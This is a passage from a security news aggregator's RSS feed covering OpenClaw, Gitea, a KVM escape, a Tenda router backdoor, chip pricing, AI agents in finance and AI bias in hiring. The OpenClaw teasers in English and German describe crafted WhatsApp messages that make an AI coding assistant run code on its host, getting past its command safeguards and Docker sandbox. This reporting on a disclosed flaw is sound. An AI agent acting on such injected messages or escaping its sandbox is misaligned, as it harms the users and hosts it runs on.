<link>https://tsecurity.de/de/3660504/it-security-nachrichten/openclaw-vulnerabilities-let-attackers-turn-whatsapp-messages-into-host-level-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660504/it-security-nachrichten/openclaw-vulnerabilities-let-attackers-turn-whatsapp-messages-into-host-level-code-execution/</guid>
<pubDate>Fri, 10 Jul 2026 19:40:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security researchers have disclosed three high-severity vulnerabilities in OpenClaw, the popular open-source AI coding assistant with over 381,000 GitHub stars, that allow attackers to achieve full remote code execution using nothing more than a cleverly worded WhatsApp message. The flaws bypass the tool’s environment variable sanitization, its command execution safeguards, and its Docker sandbox isolation […]</p>
<p>The post <a href="https://cyberpress.org/openclaw-remote-access-tool/">OpenClaw Vulnerabilities Let Attackers Turn WhatsApp Messages Into Host-Level Code Execution</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Built My Second ETL Pipeline. This Time, I Started Thinking Like a Data Engineer]]></title>
<description><![CDATA[Building a production-ready RSS pipeline with Python, Docker, PostgreSQL, and Kestra
The post I Built My Second ETL Pipeline. This Time, I Started Thinking Like a Data Engineer appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3660451/ai-nachrichten/i-built-my-second-etl-pipeline-this-time-i-started-thinking-like-a-data-engineer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660451/ai-nachrichten/i-built-my-second-etl-pipeline-this-time-i-started-thinking-like-a-data-engineer/</guid>
<pubDate>Fri, 10 Jul 2026 19:05:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Building a production-ready RSS pipeline with Python, Docker, PostgreSQL, and Kestra</p>
<p>The post <a href="https://towardsdatascience.com/i-built-my-second-etl-pipeline-this-time-i-started-thinking-like-a-data-engineer/">I Built My Second ETL Pipeline. This Time, I Started Thinking Like a Data Engineer</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw: WhatsApp-zu-Host-Angriffskette über drei gepatchte KI-Sicherheitslücken]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Offenbar lassen sich über WhatsApp an eine KI-Assistenten-Instanz Nachrichten senden, die im schlimmsten Fall Code auf dem Host ausführen. Auslöser sind drei inzwischen gepatchte OpenClaw-Sicherheitslücken mit CVSS-Werten bis zu 8, 8, darunter Command-Injection und ein Pfad...]]></description>
<link>https://tsecurity.de/de/3660373/it-security-nachrichten/openclaw-whatsapp-zu-host-angriffskette-ueber-drei-gepatchte-ki-sicherheitsluecken/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660373/it-security-nachrichten/openclaw-whatsapp-zu-host-angriffskette-ueber-drei-gepatchte-ki-sicherheitsluecken/</guid>
<pubDate>Fri, 10 Jul 2026 18:33:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/openclaw-whatsapp-zu-host-attack-chain-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Offenbar lassen sich über WhatsApp an eine KI-Assistenten-Instanz Nachrichten senden, die im schlimmsten Fall Code auf dem Host ausführen. Auslöser sind drei inzwischen gepatchte OpenClaw-Sicherheitslücken mit CVSS-Werten bis zu 8, 8, darunter Command-Injection und ein Pfad-Umgehungsproblem bei Bind-Mounts. Für Unternehmen ist die Nachricht besonders relevant, weil die praktische Auswirkung stark von […]</p>
<div><a href="https://www.it-boltwise.de/openclaw-whatsapp-zu-host-angriffskette-ueber-drei-gepatchte-ki-sicherheitsluecken.html">... den vollständigen Artikel <strong>»OpenClaw: WhatsApp-zu-Host-Angriffskette über drei gepatchte KI-Sicherheitslücken«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/openclaw-whatsapp-zu-host-angriffskette-ueber-drei-gepatchte-ki-sicherheitsluecken.html">OpenClaw: WhatsApp-zu-Host-Angriffskette über drei gepatchte KI-Sicherheitslücken</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers exploit critical auth bypass in Gitea Docker image]]></title>
<description><![CDATA[Hackers are actively exploiting a critical vulnerability in the official Docker image for the Gitea self-hosted Git service that allows attackers to impersonate any user, including administrators. [...]]]></description>
<link>https://tsecurity.de/de/3660273/it-security-nachrichten/hackers-exploit-critical-auth-bypass-in-gitea-docker-image/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660273/it-security-nachrichten/hackers-exploit-critical-auth-bypass-in-gitea-docker-image/</guid>
<pubDate>Fri, 10 Jul 2026 17:58:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hackers are actively exploiting a critical vulnerability in the official Docker image for the Gitea self-hosted Git service that allows attackers to impersonate any user, including administrators. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Japanese Chipmaker Rapidus Plans Cheap 2nm Wafers To Rival TSMC]]></title>
<description><![CDATA[A new player in the semiconductor space is looking to shake up the global market with some very aggressive pricing. Rapidus, a massive chip manufacturing startup based in Japan, just announced its plan to significantly undercut TSMC when it begins producing advanced silicon. The company wants to ...]]></description>
<link>https://tsecurity.de/de/3660032/ios-mac-os/japanese-chipmaker-rapidus-plans-cheap-2nm-wafers-to-rival-tsmc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660032/ios-mac-os/japanese-chipmaker-rapidus-plans-cheap-2nm-wafers-to-rival-tsmc/</guid>
<pubDate>Fri, 10 Jul 2026 16:37:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new player in the semiconductor space is looking to shake up the global market with some very aggressive pricing. Rapidus, a massive chip manufacturing startup based in Japan, just announced its plan to significantly undercut TSMC when it begins producing advanced silicon. The company wants to offer its upcoming two-nanometer wafers for a much lower cost than the current industry leaders, hoping to win over major hardware clients by the end of the decade.



The startup will price its new wafers at around 20,000 dollars



The chief executive of the Japanese startup recently confirmed that the company plans to charge between three million and three and a half million yen per wafer. Depending on exchange rates, that puts the cost of its two-nanometer-class manufacturing right around $20,000. This pricing strategy directly targets TSMC, which is rumored to charge roughly $30,000 for its own two-nanometer nodes.



While the exact final prices will naturally fluctuate, the startup clearly wants to use cost as its main weapon. Offering these advanced chips at a huge discount could tempt big tech companies to move their orders away from Taiwan and over to Japan. Samsung is also expected to price its competing silicon around the $20,000 mark, meaning a massive price war is brewing in the semiconductor industry.



Mass production of the advanced chips will begin in late 2027



Getting a brand new chip factory running at full speed takes a lot of time. Rapidus plans to kick off high-volume manufacturing during the second half of 2027. However, the company probably will not pump out meaningful, large-scale volumes until sometime in 2028. This slight delay means they will enter the market just as TSMC moves on to even more advanced technologies.



Even with the timeline challenge, the startup has massive backing to ensure it survives the difficult ramp-up period. The Japanese government heavily subsidizes the project as part of a national goal to boost domestic chip production. If Rapidus can actually deliver reliable two-nanometer chips at these lower prices, it could completely reshape how the biggest tech brands source the brains for their future devices.



With billions of dollars in government backing and an aggressive pricing strategy, this new manufacturer is refusing to play it safe. By forcing established giants to rethink their high costs, the entire tech industry might soon benefit from a much more competitive chip market.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Cyber Express Weekly Roundup: Campus Cyberattack, Januscape VM Escape, Router Backdoors, UniFi Flaw, and Wireshark Security Updates]]></title>
<description><![CDATA[Enterprise infrastructure is increasingly under pressure as attackers and researchers alike expose weaknesses across the technology stack. This week, a confirmed university cyberattack, a critical Linux KVM virtualization flaw, vulnerabilities affecting widely deployed network management platform...]]></description>
<link>https://tsecurity.de/de/3659703/it-security-nachrichten/the-cyber-express-weekly-roundup-campus-cyberattack-januscape-vm-escape-router-backdoors-unifi-flaw-and-wireshark-security-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659703/it-security-nachrichten/the-cyber-express-weekly-roundup-campus-cyberattack-januscape-vm-escape-router-backdoors-unifi-flaw-and-wireshark-security-updates/</guid>
<pubDate>Fri, 10 Jul 2026 14:38:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Weekly Roundup" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup.webp 800w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup.webp 800w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Weekly-Roundup-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="The Cyber Express Weekly Roundup: Campus Cyberattack, Januscape VM Escape, Router Backdoors, UniFi Flaw, and Wireshark Security Updates 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="143" data-end="737">Enterprise infrastructure is increasingly under pressure as attackers and researchers alike expose weaknesses across the technology stack. This week, a confirmed university cyberattack, a critical Linux KVM virtualization flaw, vulnerabilities affecting widely deployed network management platforms, and an undocumented firmware backdoor in consumer and SMB routers underscore how trusted infrastructure remains an attractive target. At the same time, the latest Wireshark release highlights the importance of maintaining the security of defensive tools that security teams depend on every day.</p>
<p data-start="739" data-end="1189">The week's developments reinforce a broader reality: <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="28920">cyber</a> resilience is no longer limited to endpoint protection or identity security. Organizations must continuously monitor and patch hypervisors, network appliances, firmware, and security software to reduce exposure. As enterprises expand hybrid infrastructure and rely on increasingly interconnected systems, even a single overlooked <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28918">vulnerability</a> can have far-reaching operational consequences.</p>

<h2 data-section-id="1lvh413" data-start="1191" data-end="1226"><strong>The Cyber Express Weekly Roundup</strong></h2>
<h3 data-section-id="1lw2g4u" data-start="1228" data-end="1309">Mount Royal University Confirms Cyberattack Following June Network Disruption</h3>
<p data-start="1311" data-end="2015">Mount Royal University (MRU) confirmed that a June <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28921">cybersecurity</a> incident resulted in unauthorized access to systems containing sensitive student and employee information. Although the institution restored critical services after the disruption, investigations determined that personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28926">data</a> may have been exposed, prompting notifications to affected individuals and ongoing forensic analysis. The incident serves as another reminder that higher education institutions remain lucrative targets due to the large volumes of personal, financial, and research data they manage, making rapid <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="28925">incident response</a> and transparent communication critical following cyber events. <a href="https://thecyberexpress.com/mount-royal-university-cyberattack/" target="_blank" rel="nofollow noopener"><strong>Read more...</strong></a></p>

<h3 data-section-id="mylb4w" data-start="2017" data-end="2097">Januscape (CVE-2026-53359) Exposes Linux KVM Hosts to Virtual Machine Escape</h3>
<p data-start="2099" data-end="2802">Researchers disclosed <strong data-start="2121" data-end="2151">Januscape (CVE-2026-53359)</strong>, a critical use-after-free vulnerability in the Linux Kernel-based Virtual Machine (KVM) hypervisor that enables guest virtual machines to escape isolation and compromise the underlying host. The flaw, which remained undiscovered for nearly 16 years, affects both Intel and AMD x86 platforms and poses a significant threat to public cloud providers operating multi-tenant environments with nested virtualization enabled. Security teams are urged to deploy available patches immediately, as successful exploitation could allow complete host compromise or widespread denial-of-service across shared infrastructure. <a href="https://thecyberexpress.com/cve-2026-53359-januscape/" target="_blank" rel="nofollow noopener"><strong>Read more...</strong></a></p>

<h3 data-section-id="pzoz75" data-start="2804" data-end="2886">Ubiquiti UniFi OS Vulnerability Raises Risks for Enterprise Network Management</h3>
<p data-start="2888" data-end="3526">A newly disclosed vulnerability affecting <strong data-start="2930" data-end="2951"><a href="https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc" target="_blank" rel="nofollow noopener">Ubiquiti</a> UniFi OS</strong> highlights the continued importance of securing centralized network management platforms. Because UniFi deployments often provide administrators with visibility and control over networking infrastructure, successful exploitation could expose organizations to unauthorized access or broader compromise of managed environments. Administrators are advised to review affected versions, apply vendor updates without delay, and restrict management interface exposure wherever possible to minimize risk while remediation efforts are completed. <a href="https://thecyberexpress.com/cve-2026-50746-ubiquiti-unifi-os-vulnerability/" target="_blank" rel="nofollow noopener"><strong>Read more...</strong></a></p>

<h3 data-section-id="1evchd1" data-start="3528" data-end="3600">Hidden Tenda Firmware Backdoor Leaves Multiple Router Models Exposed</h3>
<p data-start="3602" data-end="4395">Security researchers and CERT/CC disclosed <strong data-start="3645" data-end="3663">CVE-2026-11405</strong>, an undocumented authentication backdoor affecting multiple Tenda router firmware versions. Rather than exploiting a traditional software bug, attackers can bypass normal authentication through a hidden administrative login mechanism, potentially gaining full control of affected devices. With no vendor patch available at the time of disclosure, the vulnerability raises broader concerns around firmware security, supply-chain trust, and the long-term <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="28923">risks</a> posed by undocumented functionality embedded within networking equipment. Organizations using affected devices should disable remote management where possible and limit administrative interface exposure until updates become available. <a href="https://thecyberexpress.com/cve-2026-11405-cert-tenda-firmware-backdoor/" target="_blank" rel="nofollow noopener"><strong>Read more...</strong></a></p>

<h3 data-section-id="1p4t171" data-start="4397" data-end="4460">Wireshark 4.6.7 Addresses Multiple Security Vulnerabilities</h3>
<p data-start="4462" data-end="5121">The release of <strong data-start="4477" data-end="4496">Wireshark 4.6.7</strong> delivers fixes for a dozen security issues affecting protocol dissectors, including SSH, IEEE 802.11, Catapult DCT2000, and several other supported protocols. While Wireshark is primarily a defensive analysis tool, <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28922">vulnerabilities</a> within packet inspection software can expose analysts and security operations teams to unnecessary risk when processing malicious or specially crafted network captures. Organizations using Wireshark for incident response, <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28919">malware</a> analysis, or network monitoring should prioritize upgrading to the latest version to ensure secure packet analysis workflows. <a href="https://thecyberexpress.com/wireshark-4-6-7/" target="_blank" rel="nofollow noopener"><strong>Read more...</strong></a></p>

<h2 data-section-id="13p0ph5" data-start="5123" data-end="5141"><strong>Weekly Takeaway</strong></h2>
<p data-start="5143" data-end="5654">This week's developments demonstrate that enterprise infrastructure itself has become one of the most contested areas of <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28927">cybersecurity</a>. Whether through virtualization layers, router firmware, network management platforms, or even the tools defenders rely upon, attackers continue to target foundational technologies that underpin modern IT environments. These components often operate with elevated privileges or broad visibility across enterprise networks, making their compromise disproportionately impactful.</p>
<p data-start="5656" data-end="6226" data-is-last-node="" data-is-only-node="">For security leaders, the lesson is clear: infrastructure security requires continuous attention beyond traditional endpoint defenses. Routine firmware updates, timely <a class="wpil_keyword_link" href="https://cyble.com/solutions/vulnerability-management/" target="_blank" rel="noopener" title="vulnerability management" data-wpil-keyword-link="linked" data-wpil-monitor-id="28924">vulnerability management</a>, restricted administrative interfaces, and proactive monitoring of virtualization platforms should form part of every organization's cyber resilience strategy. As enterprises continue expanding cloud deployments and interconnected environments, maintaining trust in the underlying infrastructure will remain just as important as defending the applications running on top of it.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Accelerating financial closes with help from AI agents: A pragmatic guide]]></title>
<description><![CDATA[Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said,...]]></description>
<link>https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/</guid>
<pubDate>Fri, 10 Jul 2026 13:03:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said, there are limits on how far <a href="https://www.ibm.com/think/topics/ai-agents" rel="nofollow">AI agents</a> can go in streamlining and accelerating the closing process. It’s unrealistic for businesses to remove humans from the picture entirely.</p>



<p>With this caveat in mind, here’s a look at practical approaches to driving more efficient financial closings with help from AI agents. To ground the conversation, I’ll focus on what the process might look like within environments based on SAP, although many of these lessons apply to any organization and tech stack.</p>



<h2 class="wp-block-heading">How AI agents can accelerate financial closes</h2>



<p>Although ERP systems like SAP house most or all of an organization’s financial data within a central system, closing out the books still tends to be a highly complex process, hampered by challenges like the following:</p>



<ul class="wp-block-list">
<li>Master Data reconciliation</li>



<li>Working through huge volumes of journaling</li>



<li>Identifying and resolving transaction reconciliation errors</li>



<li>Ensuring compliance with governance and regulatory requirements</li>
</ul>



<p>These are all areas where AI agents can help, even if <a href="https://www.sap.com/products/financial-management/advanced-financial-closing.html">SAP’s Advanced Financial Closin</a>g is used. For example, instead of requiring humans to assess each irregular transaction manually, businesses can employ agents to review the situation and suggest a resolution. Agents also excel at tasks like integrating multiple data sources, then identifying and addressing redundancies or inconsistencies across them.</p>



<p>Similarly, agents can continuously monitor financial workflows throughout the close cycle, flagging anomalies and potential bottlenecks before they delay reporting deadlines. They can automatically collect supporting documentation, validate data against predefined business rules and route exceptions to the appropriate stakeholders for review.</p>



<p>By reducing the amount of repetitive manual work required during closing, AI agents help finance teams focus on higher-value analysis and decision-making. This can lead to faster close times, improved accuracy and greater confidence in the integrity of financial reporting.</p>



<h2 class="wp-block-heading">The limitations of agents for closing the books</h2>



<p>That said, agents can’t handle every aspect of the closing process entirely on their own. Two key limitations apply. The first is that, as with any <a href="https://en.wikipedia.org/wiki/Large_language_model">LLM-powered technology</a>, agents are at risk of making inaccurate decisions or inferences. Businesses can’t blindly trust agents to interpret financial data accurately all of the time. A second factor is that, due to strict regulatory requirements, it’s essential in most cases for humans to sign off on financial accounts. Telling regulators or auditors that you know your books are accurate because an AI agent told you so is not a recipe for compliance success.</p>



<p>Because of these limitations, a healthy perspective on AI agents in financial closing contexts is to think of them as a way to improve visibility, agility and efficiency, not as a replacement for people. Agents can make recommendations, but humans need to be the ones who review, validate and sign off on any actions before they are final.</p>



<h2 class="wp-block-heading">Integrating AI agents into the closing process in SAP</h2>



<p>How can organizations actually take advantage of AI agents to help with closing?</p>



<p>The answer is complicated because every business’s books and closing process are different. This means that, despite the growing inventory of AI agents now available on platforms like SAP, it’s unrealistic to expect to “drag and drop” agents into existing closing workflows and have them do what they need.</p>



<p>Instead, many businesses will find that they need to build custom agentic solutions. Often, they’ll benefit from implementing multiple agents targeted at different tasks, e.g., accounts receivable, accounts payable and foreign currency exchanges, along with an <a href="https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/ai-agent-design-patterns">orchestrator agent</a> that oversees them all. Each agent will need to be tailored for the organization’s data sources, governance and compliance obligations, etc.</p>



<p>In addition, organizations must carefully define how agents interact with financial systems and employees. While some activities can be automated end-to-end, others require human review and approval to satisfy internal controls and regulatory requirements. Establishing clear workflows, escalation paths and audit trails is essential to ensure that agent-driven processes remain transparent and trustworthy. Organizations also need to invest in testing and validation to confirm that agents produce accurate results and can handle exceptions without introducing new risks into the close process.</p>



<p>The fact that SAP itself is a complex platform, with native agentic capabilities fully supported only in the latest versions, further complicates the agentification of the closing process. Enterprises need to assess the agentic support level available within the SAP version they use, then determine the extent to which they can leverage SAP’s own agents versus working with third-party agents.</p>



<p>Another key consideration is data quality. AI agents can only perform effectively when they have access to complete, accurate and timely financial information. Organizations may need to improve <a href="https://cloud.google.com/learn/what-is-data-governance" rel="nofollow">data governance</a> practices and address integration challenges before agents can deliver meaningful value. The extent to which they can do this easily depends, in large part, on how healthy their underlying SAP data governance practices are.</p>



<p>All of the above means that taking advantage of agents to accelerate closes and other financial workflows within SAP is no mean feat. It requires deep technical expertise in both agentic technology and the complex SAP software portfolio. But the investment is worth it for organizations seeking to reduce the uncertainty and slowness traditionally associated with closing the books. Over time, well-designed agentic workflows can help finance teams spend less time on manual reconciliation and exception handling while enabling faster, more predictable financial close cycles.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s potential to infect the hiring process with bias]]></title>
<description><![CDATA[You’ll be hard pressed to find an area of corporate America where AI hasn’t found a place, and that includes the tech hiring process. A survey from MyPerfectResume found that 73% of employers say they use AI in hiring decisions, while 52% use it for decisions around restructuring and role plannin...]]></description>
<link>https://tsecurity.de/de/3659261/it-nachrichten/ais-potential-to-infect-the-hiring-process-with-bias/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659261/it-nachrichten/ais-potential-to-infect-the-hiring-process-with-bias/</guid>
<pubDate>Fri, 10 Jul 2026 11:32:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>You’ll be hard pressed to find an area of corporate America where AI hasn’t found a place, and that includes the tech hiring process. A <a href="https://www.myperfectresume.com/career-center/careers/basics/ai-in-hiring-layoffs" rel="nofollow">survey from MyPerfectResume</a> found that 73% of employers say they use AI in hiring decisions, while 52% use it for decisions around restructuring and role planning.</p>



<p>On the other side, candidates are also increasingly relying on AI, with 52% of current job seekers reporting they use AI to help them in their job searches to refine submission materials (85%) and prepare for interviews (73%), according to <a href="https://www.sap.com/documents/2026/05/ccd1609f-507f-0010-bca6-c68f7e60039b.html" rel="nofollow">data from SAP</a>.</p>



<p>“Technology can help employers be more efficient, but hiring decisions still benefit from human judgment, especially when a candidate’s experience requires context that automated screening may not understand,” says Jasmine Escalera, career expert at online career and résumé builder Zety.</p>



<p>It’s clear AI is an integral part of the hiring process, and organizations need to prepare a strategy for what that looks like moving forward in terms of hiring bias, transparency, and striking the right balance of human effort and AI assistance.</p>



<h2 class="wp-block-heading">Recognizing the warning signs</h2>



<p>AI has the promise of bringing efficiency in hiring for both job seekers and employees, but if organizations aren’t careful, an overreliance on AI technology can lead to unintended consequences. Further MyPerfectResume data also reveals 65% of respondents say AI often automatically rejects applicants before a person sees them, and 14% say AI rejects more than half of applicants outright.</p>



<p>Additionally, 47% say they feel AI has filtered out candidates who would’ve otherwise advanced in the process. And 51% say they use AI to flag risky candidates, such as people who might be viewed as job-hoppers or who have employment gaps.</p>



<p>Flagging risky candidates and eliminating them before a human can look at their résumé can filter out candidates with experience that tells a more complex story than an algorithm is designed to interpret, says Escalera. Candidates re-entering the workforce after time off, for example, may have valuable skills that don’t fit neatly into automated screening criteria, she adds.</p>



<p>Similarly, there’s concern AI will reject a professional who wants to change industries, or has qualifications that don’t  perfectly reflect the language in a job description before a human has a chance to look.</p>



<p>Laurie Cure, CEO of consulting firm Innovative Connections, says she’s seen instances where AI has eliminated highly qualified yet nervous candidates who take more time than what the AI allocated to answer a question, or candidates may simply use a different language than the AI is programmed to look for, causing them to not be recommended to progress in the process.</p>



<p>She’s also seen where AI might use historical data to determine patterns of a successful employee, identifying certain schools, work histories, tenure, or other characteristics that, while not inherently bias, perpetuates the bias that accurate correlations exist between these elements, when they often don’t. Organizations need to ensure that humans remain a part of these processes, Cure adds, where they can bring context, intuition, nuance, and an ability to identify potential in a candidate that AI can’t replicate.</p>



<p>“I think we’re allowing AI to become the process instead of allowing it to support the process in ways that makes hiring better,” she says.</p>



<h2 class="wp-block-heading">An emphasis on accuracy over speed</h2>



<p>Cure says a major problem for most companies is that the balance is off, with companies using AI for the majority, if not all, of résumé screening rather than as a complement to human efforts. Organizations that simply implement AI to speed up different parts of the hiring process, without taking time to consider if a process stands to benefit from AI, run the risk of introducing bias.</p>



<p>“While this allows for managing high volumes of applicants, and provides greater degrees of consistency in applying job criteria, it likely misses many good candidates,” she says. “The human element needs to be highly active in developing job requirements so they’re not too narrow. Organizations need to look at how they ask AI to do its work, so be cautious how you frame the screening or other criteria.”</p>



<p>Ultimately, AI isn’t a tool to be implemented and forgotten, or one that should be viewed simply as a path to efficiency since many processes still benefit from and require a human touch. It’s important to conduct audits of AI processes in hiring, and to remember that the use of AI doesn’t eliminate the legal or ethical obligations an organization has for equal employment, says Cure, making the balance between human and AI even more important.</p>



<h2 class="wp-block-heading">AI transparency and fostering candidate trust</h2>



<p>AI has also introduced an element of mistrust into hiring on both sides, where employers can’t be sure candidates haven’t relied on AI the same way candidates aren’t always sure exactly how AI is being used in the hiring process. Candidates are aware that employers are implementing AI, but they’re often unsure of the extent it’s being used and when to expect to interact with humans.</p>



<p>“That lack of clarity can create skepticism and frustration, particularly in a job market that already feels highly competitive,” says Escalera. “The goal shouldn’t be to convince candidates that AI isn’t being used, but to help them understand how technology supports decisions rather than replaces the human judgment behind them.”     </p>



<p>Cure recommends organizations start with a process map that outlines every step of an organization’s hiring process to help visualize where AI is beneficial and which processes still require human intervention. Companies can shift to relying too heavily on AI or they may become too dependent on human effort, when that effort could be put toward more important tasks.</p>



<p>“Humans bring an understanding of a person’s broader history, and the ability to detect when a candidate has potential to grow into the role,” she says. “People can see non-traditional career paths and motivations more distinctly than AI. Yet AI brings consistency, efficiency, criteria standardization, and a level of objectivity the process benefits from. If we effectively blend these two at the right points in the process, hiring is enhanced, not diminished.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Research Introduces SensorFM: A Wearable Health Foundation Model Pretrained on One Trillion Minutes of Sensor Data]]></title>
<description><![CDATA[SensorFM, a wearable health foundation model from Google Research, Google DeepMind, and university collaborators. We walk through its ViT-1D masked-autoencoder backbone, pretrained on more than one trillion minutes of unlabeled sensor signals from 5,000,000 consented participants. We examine the ...]]></description>
<link>https://tsecurity.de/de/3659189/ai-nachrichten/google-research-introduces-sensorfm-a-wearable-health-foundation-model-pretrained-on-one-trillion-minutes-of-sensor-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659189/ai-nachrichten/google-research-introduces-sensorfm-a-wearable-health-foundation-model-pretrained-on-one-trillion-minutes-of-sensor-data/</guid>
<pubDate>Fri, 10 Jul 2026 11:03:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
